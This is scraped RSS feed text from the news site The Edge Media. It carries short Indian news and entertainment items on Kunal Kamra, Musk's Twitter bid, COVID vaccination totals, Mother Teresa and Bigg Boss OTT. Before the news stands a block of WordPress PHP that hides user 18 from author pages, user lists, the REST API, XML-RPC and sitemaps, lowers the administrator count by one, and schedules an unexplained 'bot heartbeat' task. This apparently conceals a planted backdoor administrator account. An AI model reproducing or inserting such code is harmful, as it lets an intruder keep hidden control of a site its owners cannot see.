add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post NCPCR To Take Action Against Comedian Kunal Kamra Over An Offensive Tweet appeared first on The Edge Media.
]]>There was outrage from certain quarters, as well as a remark from the father of the seven-year-old youngster. The National Commission for the Protection of Child Rights (NCPCR) has taken action against the comedian and requested that the video be removed from social media sites immediately.
The leading child rights organization responded to Twitter’s complaint officer, saying it had received a report about Kamra posting a “doctored” video of a youngster performing a patriotic song to promote his own political objectives.
The post NCPCR To Take Action Against Comedian Kunal Kamra Over An Offensive Tweet appeared first on The Edge Media.
]]>The post “Did the Chinese Government just gain a bit…..?,” Bezos on Twitter Takeover By Musk appeared first on The Edge Media.
]]>After work hours, a spokesperson from Musk’s family office did not immediately reply to a request for comment. In just one of his first tweets following the take-private transaction, Musk defended free expression on the internet. Officials in China, meanwhile, have banned Twitter, as well as most other American social media platforms, due to concerns about the influence on public debate.
The post “Did the Chinese Government just gain a bit…..?,” Bezos on Twitter Takeover By Musk appeared first on The Edge Media.
]]>The post Parag Agrawal To Get $42 Million If Removed From The CEO Position Of Twitter appeared first on The Edge Media.
]]>Depending on Musk’s offering price of $54.20 per share and conditions in the company’s latest prospectus, Equilar’s calculation includes a year’s valuation of Agrawal’s basic pay as well as expedited vesting of all stock awards, according to an Equilar spokesman.
The post Parag Agrawal To Get $42 Million If Removed From The CEO Position Of Twitter appeared first on The Edge Media.
]]>The post Elon Musk Takes a Dig on Bill Gates on Twitter appeared first on The Edge Media.
]]>in case u need to lose a boner fast pic.twitter.com/fcHiaXKCJi
— Elon Musk (@elonmusk) April 23, 2022
As per Twitter CEO Parag Agrawal, Musk’s bid to acquire Twitter is being considered. “The board would go through a thorough process and make a judgment in our shareholders’ best interests.”
There have been some mixed reviews by the netizens regarding the clash between Elon Musk and Bill Gates and curating their own theories.
The post Elon Musk Takes a Dig on Bill Gates on Twitter appeared first on The Edge Media.
]]>The post The cumulative number of COVID-19 vaccine doses administered in the country has crossed 70 crore : Union Health Ministry appeared first on The Edge Media.
]]>The coronavirus has to be defeated and vaccination is the way to victory, Union Health Minister Mansukh Mandaviya said.
“Soaring higher on COVID-19 vaccination under PM (Prime Minister) @NarendraModi ji’s leadership. 70,00,00,000 vaccine doses administered to date,” he tweeted.
Congratulations to all health workers and people for this momentous achievement, he said.
India took 85 days to touch 10 crore vaccinations, 45 days to cross the 20-crore mark and 29 more days to reach 30 crore, Mr Mandaviya said.
The country took 24 days to reach 40 crore from 30 crore doses and then 20 more days to cross 50 crore vaccinations on August 6. It took 19 more days to go past the 60-crore mark and took only 13 days to reach 70 crore from 60 crore, he said on Twitter.
The countrywide vaccination drive was rolled out on January 16 with healthcare workers (HCWs) getting inoculated in the first phase. The vaccination of frontline workers (FLWs) started from February 2.
The next phase of COVID-19 vaccination commenced from March 1 for people over 60 years of age and those aged 45 and above with specified co-morbid conditions.
The country launched vaccination for all people aged more than 45 years from April 1.
The government then decided to expand its vaccination drive by allowing everyone above 18 to be vaccinated from May 1.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post The cumulative number of COVID-19 vaccine doses administered in the country has crossed 70 crore : Union Health Ministry appeared first on The Edge Media.
]]>The post Fans lauds Shardul Thakur as “Lord” Shardul appeared first on The Edge Media.
]]>Shardul’s making a habit of bailing India out of tough situations with the bat in hand. He had notched a maiden Test half-century during the Gabba Test, and that knock proved crucial to India’s cause in the end.
So, it’s no surprise that fans have christened him “Lord” Shardul Thakur thanks to his batting heroics.
The post Fans lauds Shardul Thakur as “Lord” Shardul appeared first on The Edge Media.
]]>The post Here are 15 inspirational and motivational quotes on Teachers’ Day appeared first on The Edge Media.
]]>They design society, both on a local and global scale, as they have the ability to shape children and build them into positive and inspired future generations. As we celebrate their hard work on Teachers’ Day this September 5, here are 15 inspirational and motivational quotes to share on Facebook status and WhatsApp messages:
1. “Great teachers emanate out of knowledge, passion and compassion.” –A. P. J. Abdul Kalam
2. “They inspire you, they entertain you, and you end up learning a ton even when you don’t know it” –Nicholas Sparks, Dear John
3. “The task of the modern educator is not to cut down jungles, but to irrigate deserts.” –C.S. Lewis
4. “I am indebted to my father for living, but to my teacher for living well.” –Alexander the Great.
5. “It is the supreme art of the teacher to awaken joy in creative expression and knowledge.” –Albert Einstein
6. “Let us remember: One book, one pen, one child, and one teacher can change the world.” –Malala Yousafzai
7. “If you don’t have a teacher you can’t have a disciple.” –Dallas Willard
8. “If you have to put someone on a pedestal, put teachers. They are society’s heroes.” –Guy Kawasaki
9. “Teaching kids to count is fine, but teaching them what counts is best.” –Bob Talbert.
10. The one exclusive sign of thorough knowledge is the power of teaching.” –Aristotle
11. “The dream begins with a teacher who believes in you, who tugs and pushes and leads you to the next plateau, sometimes poking you with a sharp stick called ‘truth’.” –Dan Rather.
12. “The teacher who is indeed wise does not bid you to enter the house of his wisdom but rather leads you to the threshold of your mind.” –Khalil Gibran
13. “Those that know, do. Those that understand, teach.” –Aristotle
14. “The test of a good teacher is not how many questions he can ask his pupils that they will answer readily, but how many questions he inspires them to ask him which he finds it hard to answer.”–Alice Wellington Rollins
15. “I am a teacher. It’s how I define myself. A good teacher isn’t someone who gives the answers out to their kids but is understanding of needs and challenges and gives tools to help other people succeed. That’s the way I see myself, so whatever it is that I will do eventually after politics, it’ll have to do a lot with teaching.” –Justin Trudeau.
The post Here are 15 inspirational and motivational quotes on Teachers’ Day appeared first on The Edge Media.
]]>The post Leaders pay tribute to Mother Teresa on the occasion of her 111th birth anniversary appeared first on The Edge Media.
]]>She was loved and respected by people all over the world who also called her Saint Teresa.
Mother Teresa was born on August 26, 1910, in Skopje, the capital of the Republic of Macedonia. She was baptised Agnes Gonxha Bojaxhiu. Mother Teresa decided to stay in India after a visit to Kolkata, West Bengal, where she was moved by the condition of the underprivileged. She devoted her life to helping the sick and poor.
Remembering her services to humanity, Union minister Hardeep Singh Puri tweeted, “Remembering Bharat Ratna & Nobel Laureate Mother Teresa Ji on her birth anniversary. She established ‘Nirmal Hriday’ & dedicated her life to the service of humanity.”
Delhi Chief Minister Arvind Kejriwal in his tribute to Mother Teresa wrote, “After working for Tata Steel, I volunteered at Mother Teresa’s ashram in Kalighat. It was a spiritual experience that inspired me to be in service of humanity for life. On her birth anniversary, I join the millions whose lives she touched to remember her.”
“Humble tributes to #MotherTeresa on her birth anniversary. Her life was dedicated to serving the poor, destitute and sick. Her compassion and selfless service for the welfare of mankind shall always remain an inspiration,” wrote Rajasthan Chief Minister Ashok Gehlot.
The official Twitter account of the Indian National Congress remembered Mother Teresa’s “noble work and contributions to uplift the lives of all those in need”
The tribute from Governor of Odisha Ganeshi Lal’s official Twitter account read, “Hon’ble Governor pays his humble tribute to Nobel laureate & Bharat Ratna MotherTeresa, on her birth anniversary. She will always be remembered by all for her selfless and dedicated service towards the poor and underprivileged.”
Mother Teresa died on September 5, 1997. On September 4, 2016, she was declared a saint by Pope Francis at a ceremony at the Vatican.
The post Leaders pay tribute to Mother Teresa on the occasion of her 111th birth anniversary appeared first on The Edge Media.
]]>The post ‘We stand by Divya’ trending on Twitter appeared first on The Edge Media.
]]>The diva stood against host Karan Johar who started the show by bashing her and her connection Zeeshan over the latter’s ugly fight with Bhojpuri actress Akshara Singh.
Netizens slammed Karan Johar for being biased and not taking the responsibility of a ‘fair host.’ Divya, on the other hand, won brownie points from her fans for putting her self-respect in the front.
TV actor and ex-Bigg Boss contestants also slammed Karan Johar and said, “I’ve felt sooo sooooo bad for Zee in today’s episode.. Poor chap he dinn do anythingggggg wrong… literally anything!!! And the way he was treated today. (heartbroken emoji) M sorry but noone has gone there to take shit from him… There is a way of tackling the situations, sirf host banna is not the game you gotta do justice to your post.” In another post, he wrote, “Dear KJo.. Come lemme burst your bubble!!! U ain’t Salman Khan… try talking sense!”
Supporting Divya Agarwal, netizens started trending ‘We Stand By Divya’ on Twitter after the Sunday Ka Vaar episode. Other than lauding Divya for voicing out her opinions, they bashed host Karan Johar for targetting her and being biased towards Shamita Shetty.
One fan wrote, “No matter how many times anyone tries to pull her down, OUR QUEEN always shines bright! Heart on fire A host like him, deserves someone who can give it back to him in his own taste, that’s Divya Agarwal for you ! You go girl! ”
Another tweeted, “#DivyaAgarwal is the only contestant who is not planning plotting for the task and for future, not doing groups-2, rest HM’s trying make groups, planing for tasks and Divya is just going with the flow, that’s what called the real personality.”
The post ‘We stand by Divya’ trending on Twitter appeared first on The Edge Media.
]]>The post Shardul Pandit slams Bigg Boss OTT contestants for age shaming Shamita Shetty appeared first on The Edge Media.
]]>Angry at Shamita Shetty being targeted, Shardul Pandit wrote on Twitter, “What’s with age shaming @ShamitaShetty. Saw a clip where contestants are making fun of her and saying ‘mummy ki umr ki hai (she is of mom’s age)’ to? Someone said ‘mummy aisa karti kya (Would mom do this)’? Arey itne jawan ho to bournvita quiz contest mai jao na sab (If you all are so young, go to Bournvita quiz contest).”
The post Shardul Pandit slams Bigg Boss OTT contestants for age shaming Shamita Shetty appeared first on The Edge Media.
]]>